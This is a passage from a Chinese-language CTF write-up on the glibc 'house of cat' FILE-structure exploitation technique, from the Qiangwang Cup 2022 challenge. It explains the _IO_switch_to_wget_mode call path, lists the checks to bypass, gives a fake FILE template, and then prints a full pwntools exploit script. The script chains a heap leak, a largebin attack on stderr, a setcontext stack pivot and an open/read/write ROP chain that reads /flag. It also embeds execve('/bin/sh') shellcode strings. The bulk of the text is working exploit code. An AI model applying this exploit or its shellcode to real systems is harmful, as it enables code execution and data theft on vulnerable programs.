functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0) // 绕过检查
return do_ftell_wide (fp);
/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp)); // 计算was_writing使得为真
// #define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)
// #define _IO_CURRENTLY_PUTTING 0x0800
/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp)) // 绕过检查进入_IO_switch_to_wget_mode函数
return WEOF;
......
}
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) // 绕过检查进入子块
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 调用_IO_WOVERFLOW函数
// #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
return EOF;
......
}
这里的_IO_WOVERFLOW
函数作为宏定义,看一下汇编代码就可以理解,rdi就是我们传入的FILE的首地址,可以看到,rax成了我们的核心控制点,而rax的值也就是fp->_wide_data
的值,rdx的值就是fp->_wide_data->_IO_write_ptr
的值,注意在call汇编之前还会对rax进行一次赋值,那这里就随便控制了。
0x7fc411e82d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7fc411e82d3b <_IO_switch_to_wget_mode+11> push rbx
0x7fc411e82d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7fc411e82d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7fc411e82d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7fc411e82d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7fc411e82d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7fc411e82d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7fc411e82d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
绕过的检查有:
fp->_wide_data->_IO_read_base != fp->_wide_data->_IO_read_end
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 或者 fp->_flags & 0x0800 != 0
fp->_mode = 0
house_of_cat(强网2022)
这道题已经给出了house_of_apple2的解法,这里给出house_of_cat的解法也是预期解,同时整理一下模板:
# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * (0x28)
fake_file1 += p64(1) # _wide_data -> _IO_read_end
fake_file1 += p64(0) # _wide_data -> _IO_read_base
fake_file1 += p64(0) # _wide_data -> _IO_write_base
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30 + 0x20) # _IO_write_ptr also new_rdx
fake_file1 = fake_file1.ljust(0x78, b'\x00')
fake_file1 += p64(heap_base) # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x30) # _wide_data
fake_file1 = fake_file1.ljust(0xb0, b'\x00')
fake_file1 += p64(0) # _mode = 0
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps + 0x10) # vtable
fake_file1 = fake_file1.ljust(0xe0 + 0x20, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30) # new_rax
fake_file1 += p64(0) * 2
fake_file1 += p64(setcontext_61)
fake_file1 += b'\x00' * 0xa0
fake_file1 += p64(heap_base + 0x1c90) # rsp -> orw_addr
fake_file1 += p64(p_rdi_r + 1) # rip -> ret
WP如下:
#encoding = utf-8
from pwn import *
from LibcSearcher import *
# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(os = 'linux', arch = 'amd64')
local = 2
if local == 1 :
sh = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
sh = process("./house_of_cat")
else :
sh = remote(ip, port)
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
def dbg():
gdb.attach(sh)
pause()
s = lambda data :sh.send(data)
sa = lambda text, data :sh.sendafter(text, data)
sl = lambda data :sh.sendline(data)
sla = lambda text, data :sh.sendlineafter(text, data)
r = lambda num :sh.recv(num)
ru = lambda text :sh.recvuntil(text)
uu32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl = lambda s, value :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#------------------------------------------------------------------------------------------------------#
def admin():
pld = 'LOGIN | r00t QWB QWXFadmin'
sa('mew mew mew~~~~~~\n', pld)
def cmd(choice):
pld = 'CAT | r00t QWB QWXF$\xff\xff\xff\xff'
sa('mew mew mew~~~~~~\n', pld)
sla('plz input your cat choice:\n', str(choice))
def add(idx, size, content):
cmd(1)
sla('plz input your cat idx:\n', str(idx))
sla('plz input your cat size:\n', str(size))
sa('plz input your content:\n', content)
def delete(idx):
cmd(2)
sla('plz input your cat idx:\n', str(idx))
def show(idx):
cmd(3)
sla('plz input your cat idx:\n', str(idx))
ru('Context:\n')
def edit(idx, content):
# only twice
cmd(4)
sla('plz input your cat idx:\n', str(idx))
sa('plz input your content:\n', content)
admin()
add(0, 0x418, b'pursue') # 0
add(1, 0x438, b'pursue') # 1
add(2, 0x428, b'pursue') # 2
add(3, 0x468, b'pursue') # 3
delete(2)
add(4, 0x468, b'pursue') # 4
show(2)
libc_base = u64(r(8)) - 0x21a0d0
r(8)
heap_base = u64(r(8)) - 0xaf0
lg('libc_base')
lg('heap_base')
IO_wfile_jumps = libc_base + 0x2160c0
setcontext_61 = libc_base + 0x53a30 + 61
p_rdi_r = libc_base + 0x000000000002a3e5
p_rsi_r = libc_base + 0x000000000002be51
p_rdx_r12_r = libc_base + 0x000000000011f497
p_rax_r = libc_base + 0x0000000000045eb0
syscall_r = libc_base + 0x0000000000091396
lg('setcontext_61')
# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * (0x28)
fake_file1 += p64(1) # _wide_data -> _IO_read_end
fake_file1 += p64(0) # _wide_data -> _IO_read_base
fake_file1 += p64(0) # _wide_data -> _IO_write_base
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30 + 0x20) # _IO_write_ptr also new_rdx
fake_file1 = fake_file1.ljust(0x78, b'\x00')
fake_file1 += p64(heap_base) # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x30) # _wide_data
fake_file1 = fake_file1.ljust(0xb0, b'\x00')
fake_file1 += p64(0) # _mode = 0
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps + 0x10) # vtable
fake_file1 = fake_file1.ljust(0xe0 + 0x20, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30) # new_rax
fake_file1 += p64(0) * 2
fake_file1 += p64(setcontext_61)
fake_file1 += b'\x00' * 0xa0
fake_file1 += p64(heap_base + 0x1c90) # rsp -> orw_addr
fake_file1 += p64(p_rdi_r + 1) # rip -> ret
delete(0)
add(5, 0x418, fake_file1)
add(6, 0x458, b'pursue') # 6
add(7, 0x468, b'pursue') # 7
add(8, 0x468, b'pursue') # 8
delete(5)
delete(6)
delete(7)
delete(8)
pld = p64(libc_base + 0x21a0d0) * 2
pld += p64(heap_base + 0xaf0)
pld += p64(libc_base + libc.sym['stderr'] - 0x20) # bk_nextsize
edit(2, pld)
add(9, 0x468, b'pursue') # largebin_attack
orw = p64(0) * 2
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(3)
orw += p64(syscall_r) # close
orw += p64(p_rdi_r) + p64(heap_base + 0x1dd0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(2)
orw += p64(syscall_r) # open -> fd = 0
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(0)
orw += p64(syscall_r) # read
orw += p64(p_rdi_r) + p64(1)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(1)
orw += p64(syscall_r) # write
orw += b'/flag\x00'
add(10, 0x468, orw) # 10
edit(8, p64(0) + p64(0x111)) # change top_chunk.size
cmd(1)
sla('plz input your cat idx:\n', str(0xf))
dbg()
sla('plz input your cat size:\n', str(0x468))
sh.interactive()